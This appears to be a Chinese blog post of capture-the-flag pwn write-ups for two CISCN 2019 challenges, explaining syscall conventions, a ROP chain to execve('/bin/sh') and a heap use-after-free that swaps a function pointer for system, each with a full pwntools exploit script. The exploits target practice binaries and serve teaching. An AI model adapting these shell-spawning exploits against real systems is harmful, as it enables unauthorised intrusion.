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                                                                        CISCN_PWN
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                                                                        <span class="post-pubtime">
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        2021-04-08
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                                                                        <span class="post-pubtime"> 本文共737字 </span>

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        大约需要5min
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                                                                        <p>[TOC]</p>
<h2 id="ciscn-2019-s-3"><a href="#ciscn-2019-s-3" class="headerlink" title="ciscn_2019_s_3"></a>ciscn_2019_s_3</h2><p>　　32位与64位 系统调用的区别：</p>
<blockquote>
<p>　　1. 传参方式不同</p>
<p>　　2. 系统调用号 不同</p>
<p>　　3. 调用方式 不同</p>
</blockquote>
<p>　　32位：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">传参方式：首先将系统调用号 传入 eax，然后将参数 从左到右 依次存入 ebx，ecx，edx寄存器中，返回值存在eax寄存器</span><br><span class="line"></span><br><span class="line">调用号：sys_read 的调用号 为 3 sys_write 的调用号 为 4</span><br><span class="line"></span><br><span class="line">调用方式: 使用 int 80h 中断进行系统调用</span><br></pre></td></tr></table></figure>

<p>　　64位：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">传参方式：首先将系统调用号 传入 rax，然后将参数 从左到右 依次存入 rdi，rsi，rdx寄存器中，返回值存在rax寄存器</span><br><span class="line"></span><br><span class="line">调用号：sys_read 的调用号 为 0 sys_write 的调用号 为 1</span><br><span class="line"></span><br><span class="line">stub_execve 的调用号 为 59 stub_rt_sigreturn 的调用号 为 15</span><br><span class="line"></span><br><span class="line">调用方式: 使用 syscall 进行系统调用</span><br></pre></td></tr></table></figure>

<p>调用：$rax==59，$rdi==“&#x2F;bin&#x2F;sh”，$rsi==0，$rdx==0</p>
<p>首先往栈上写0x400，然后从栈上读0x30</p>
<p>经过调试发现输入后返回的是写入栈上的位置。</p>
<p><img src="/2021/04/08/CISCN-PWN/image-20210511160829045.png" alt="image-20210511160829045"></p>
<p>将0x00007ffe7d621e58减去0x00007ffe7d621d40得到0x118（固定）</p>
<p>所以经过recv的地址减去0x118就是写入&#x2F;bin&#x2F;sh的地址</p>
<p>有个gadgets函数：</p>
<p><img src="/2021/04/08/CISCN-PWN/image-20210511161319133.png" alt="image-20210511161319133"></p>
<p>其中的0x3B就是59，系统调用，</p>
<blockquote>
<p>hex(0x00007ffe7d621e58 - 0x7ffe7d621d40)<br>‘0x118’</p>
</blockquote>
<p><img src="/2021/04/08/CISCN-PWN/image-20210511162201775.png" alt="image-20210511162201775"></p>
<p>r12是将要执行的地址。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">io = remote(<span class="string">&#x27;node3.buuoj.cn&#x27;</span>,<span class="number">26613</span>)</span><br><span class="line"><span class="comment">#io = process(&quot;./ciscn_s_3&quot;)</span></span><br><span class="line">vulun_addr = <span class="number">0x4004ED</span></span><br><span class="line">mov_rax = <span class="number">0x4004E2</span></span><br><span class="line">pop_rbx_rbp_r12= <span class="number">0x40059a</span></span><br><span class="line">mov_call = <span class="number">0x400580</span></span><br><span class="line">sys_call = <span class="number">0x400517</span></span><br><span class="line">pop_rdi = <span class="number">0x04005a3</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">b&quot;/bin/sh\x00&quot;</span>*<span class="number">2</span> + p64(vulun_addr)</span><br><span class="line">io.send(payload)</span><br><span class="line">io.recv(<span class="number">0x20</span>)</span><br><span class="line"></span><br><span class="line">bin_sh_add = u64(io.recv(<span class="number">8</span>))-<span class="number">0x118</span></span><br><span class="line">payload = <span class="string">b&quot;/bin/sh\x00&quot;</span>*<span class="number">2</span> + p64(pop_rbx_rbp_r12)+p64(<span class="number">0</span>)*<span class="number">2</span>+ p64(bin_sh_add+<span class="number">0x50</span>) + p64(<span class="number">0</span>)*<span class="number">3</span></span><br><span class="line"></span><br><span class="line">payload +=  p64(mov_call)+p64(mov_rax) +p64(pop_rdi)+ p64(bin_sh_add) + p64(sys_call)</span><br><span class="line"></span><br><span class="line">io.sendline(payload)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>



<h2 id="ciscn-2019-n-3"><a href="#ciscn-2019-n-3" class="headerlink" title="ciscn_2019_n_3"></a>ciscn_2019_n_3</h2><p>new()中，分为两种type，一种是整形，一种是字符串，字符串的话将地址放在chunk中。</p>
<p>分配的0x10的有8byte写了两个函数的地址。（str_printf和str_free）</p>
<p>所以直接将free的地址改为system然后执行就OK。</p>
<p>这道题第一开始一直没太搞懂。</p>
<p><img src="/2021/04/08/CISCN-PWN/image-20210512205816626.png" alt="image-20210512205816626"></p>
<p>他delete了1和2之后，bin中有了两个，再下来new3 写入的时候，首先是malloc了1e0的那个位置，之后存放的地址是1a0那里，一直以为是1f0的位置。。。所以写入的sh+system的地址是1a0。</p>
<p>还有就是为什么sh的地址是1a0，可以这样查看，<img src="/2021/04/08/CISCN-PWN/image-20210512210029878.png" alt="image-20210512210029878"></p>
<p>exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">p = process(<span class="string">&quot;./ciscn_2019_n_3&quot;</span>)</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">elf = ELF(<span class="string">&quot;ciscn_2019_n_3&quot;</span>)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">newnote</span>(<span class="params">idx,<span class="built_in">type</span>,value,length=<span class="number">0</span></span>):</span></span><br><span class="line">    p.recvuntil(<span class="string">&quot;CNote &gt; &quot;</span>)</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(<span class="number">1</span>))</span><br><span class="line">    p.recvuntil(<span class="string">&quot;Index &gt; &quot;</span>)</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(idx))</span><br><span class="line">    p.recvuntil(<span class="string">&quot;Type &gt; &quot;</span>)</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(<span class="built_in">type</span>))</span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">type</span> == <span class="number">1</span>:</span><br><span class="line">        p.recvuntil(<span class="string">&quot;Value &gt; &quot;</span>)</span><br><span class="line">        p.sendline(<span class="built_in">str</span>(value))</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">            p.recvuntil(<span class="string">&quot;Length &gt; &quot;</span>)</span><br><span class="line">            p.sendline(<span class="built_in">str</span>(length))</span><br><span class="line">            p.recvuntil(<span class="string">&quot;Value &gt; &quot;</span>)</span><br><span class="line">            <span class="keyword">if</span> length == <span class="number">8</span>:</span><br><span class="line">                p.send(value)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                p.sendline(value)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delnote</span>(<span class="params">idx</span>):</span></span><br><span class="line">    p.recvuntil(<span class="string">&quot;CNote &gt; &quot;</span>)</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(<span class="number">2</span>))</span><br><span class="line">    p.recvuntil(<span class="string">&quot;Index &gt; &quot;</span>)</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(idx))</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">shownote</span>(<span class="params">idx</span>):</span></span><br><span class="line">    p.recvuntil(<span class="string">&quot;CNote &gt; &quot;</span>)</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(<span class="number">3</span>))</span><br><span class="line">    p.recvuntil(<span class="string">&quot;Index &gt; &quot;</span>)</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(idx))</span><br><span class="line"></span><br><span class="line">newnote(<span class="number">0</span>,<span class="number">2</span>,<span class="string">&#x27;a&#x27;</span>*<span class="number">0x10</span>,<span class="number">0x2c</span>)</span><br><span class="line">newnote(<span class="number">1</span>,<span class="number">2</span>,<span class="string">&#x27;b&#x27;</span>*<span class="number">0x10</span>,<span class="number">0x2c</span>)</span><br><span class="line">newnote(<span class="number">2</span>,<span class="number">2</span>,<span class="string">&#x27;c&#x27;</span>*<span class="number">0x10</span>,<span class="number">0x2c</span>)</span><br><span class="line"></span><br><span class="line">delnote(<span class="number">1</span>)</span><br><span class="line">delnote(<span class="number">2</span>)</span><br><span class="line"><span class="comment">#gdb.attach(p)</span></span><br><span class="line">newnote(<span class="number">3</span>,<span class="number">2</span>,<span class="string">&#x27;sh\x00\x00&#x27;</span>+ p32(elf.plt[<span class="string">&#x27;system&#x27;</span>]),<span class="number">0xc</span>)</span><br><span class="line">gdb.attach(p)</span><br><span class="line">delnote(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>


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      <div class="search-result" id="search-result"></div>
    </div>
  </div>

  <script type="text/javascript">
    var inputArea = document.querySelector("#search-input")
    var searchOverlayArea = document.querySelector(".search-overlay")

    inputArea.onclick = function() {
      getSearchFile()
      this.onclick = null
    }

    inputArea.onkeydown = function() {
      if(event.keyCode == 13)
        return false
    }

    function openOrHideSearchContent() {
      let isHidden = searchOverlayArea.classList.contains('hidden')
      if (isHidden) {
        searchOverlayArea.classList.remove('hidden')
        document.body.classList.add('hidden')
        // inputArea.focus()
      } else {
        searchOverlayArea.classList.add('hidden')
        document.body.classList.remove('hidden')
      }
    }

    function blurSearchContent(e) {
      if (e.target === searchOverlayArea) {
        openOrHideSearchContent()
      }
    }

    document.querySelector("#search-icon").addEventListener("click", openOrHideSearchContent, false)
    document.querySelector("#search-close-icon").addEventListener("click", openOrHideSearchContent, false)
    searchOverlayArea.addEventListener("click", blurSearchContent, false)

    var searchFunc = function (path, search_id, content_id) {
      'use strict';
      var $input = document.getElementById(search_id);
      var $resultContent = document.getElementById(content_id);
      $resultContent.innerHTML = "<ul><span class='local-search-empty'>First search, index file loading, please wait...<span></ul>";
      $.ajax({
        // 0x01. load xml file
        url: path,
        dataType: "xml",
        success: function (xmlResponse) {
          // 0x02. parse xml file
          var datas = $("entry", xmlResponse).map(function () {
            return {
              title: $("title", this).text(),
              content: $("content", this).text(),
              url: $("url", this).text()
            };
          }).get();
          $resultContent.innerHTML = "";

          $input.addEventListener('input', function () {
            // 0x03. parse query to keywords list
            var str = '<ul class=\"search-result-list\">';
            var keywords = this.value.trim().toLowerCase().split(/[\s\-]+/);
            $resultContent.innerHTML = "";
            if (this.value.trim().length <= 0) {
              return;
            }
            // 0x04. perform local searching
            datas.forEach(function (data) {
              var isMatch = true;
              var content_index = [];
              if (!data.title || data.title.trim() === '') {
                data.title = "Untitled";
              }
              var orig_data_title = data.title.trim();
              var data_title = orig_data_title.toLowerCase();
              var orig_data_content = data.content.trim().replace(/<[^>]+>/g, "");
              var data_content = orig_data_content.toLowerCase();
              var data_url = data.url;
              var index_title = -1;
              var index_content = -1;
              var first_occur = -1;
              // only match artiles with not empty contents
              if (data_content !== '') {
                keywords.forEach(function (keyword, i) {
                  index_title = data_title.indexOf(keyword);
                  index_content = data_content.indexOf(keyword);

                  if (index_title < 0 && index_content < 0) {
                    isMatch = false;
                  } else {
                    if (index_content < 0) {
                      index_content = 0;
                    }
                    if (i == 0) {
                      first_occur = index_content;
                    }
                    // content_index.push({index_content:index_content, keyword_len:keyword_len});
                  }
                });
              } else {
                isMatch = false;
              }
              // 0x05. show search results
              if (isMatch) {
                str += "<li><a href='" + data_url + "' class='search-result-title'>" + orig_data_title + "</a>";
                var content = orig_data_content;
                if (first_occur >= 0) {
                  // cut out 100 characters
                  var start = first_occur - 20;
                  var end = first_occur + 80;

                  if (start < 0) {
                    start = 0;
                  }

                  if (start == 0) {
                    end = 100;
                  }

                  if (end > content.length) {
                    end = content.length;
                  }

                  var match_content = content.substr(start, end);

                  // highlight all keywords
                  keywords.forEach(function (keyword) {
                    var regS = new RegExp(keyword, "gi");
                    match_content = match_content.replace(regS, "<span class=\"search-keyword\">" + keyword + "</span>");
                  });

                  str += "<p class=\"search-result-abstract\">" + match_content + "...</p>"
                }
                str += "</li>";
              }
            });
            str += "</ul>";
            if (str.indexOf('<li>') === -1) {
              return $resultContent.innerHTML = "<ul><span class='local-search-empty'>No result<span></ul>";
            }
            $resultContent.innerHTML = str;
          });
        },
        error: function(xhr, status, error) {
          $resultContent.innerHTML = ""
          if (xhr.status === 404) {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The search.xml file was not found, please refer to：<a href='https://github.com/zchengsite/hexo-theme-oranges#configuration' target='_black'>configuration</a><span></ul>";
          } else {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The request failed, Try to refresh the page or try again later.<span></ul>";
          }
        }
      });
      $(document).on('click', '#search-close-icon', function() {
        $('#search-input').val('');
        $('#search-result').html('');
      });
    }

    var getSearchFile = function() {
        var path = "/search.xml";
        searchFunc(path, 'search-input', 'search-result');
    }
  </script>




        
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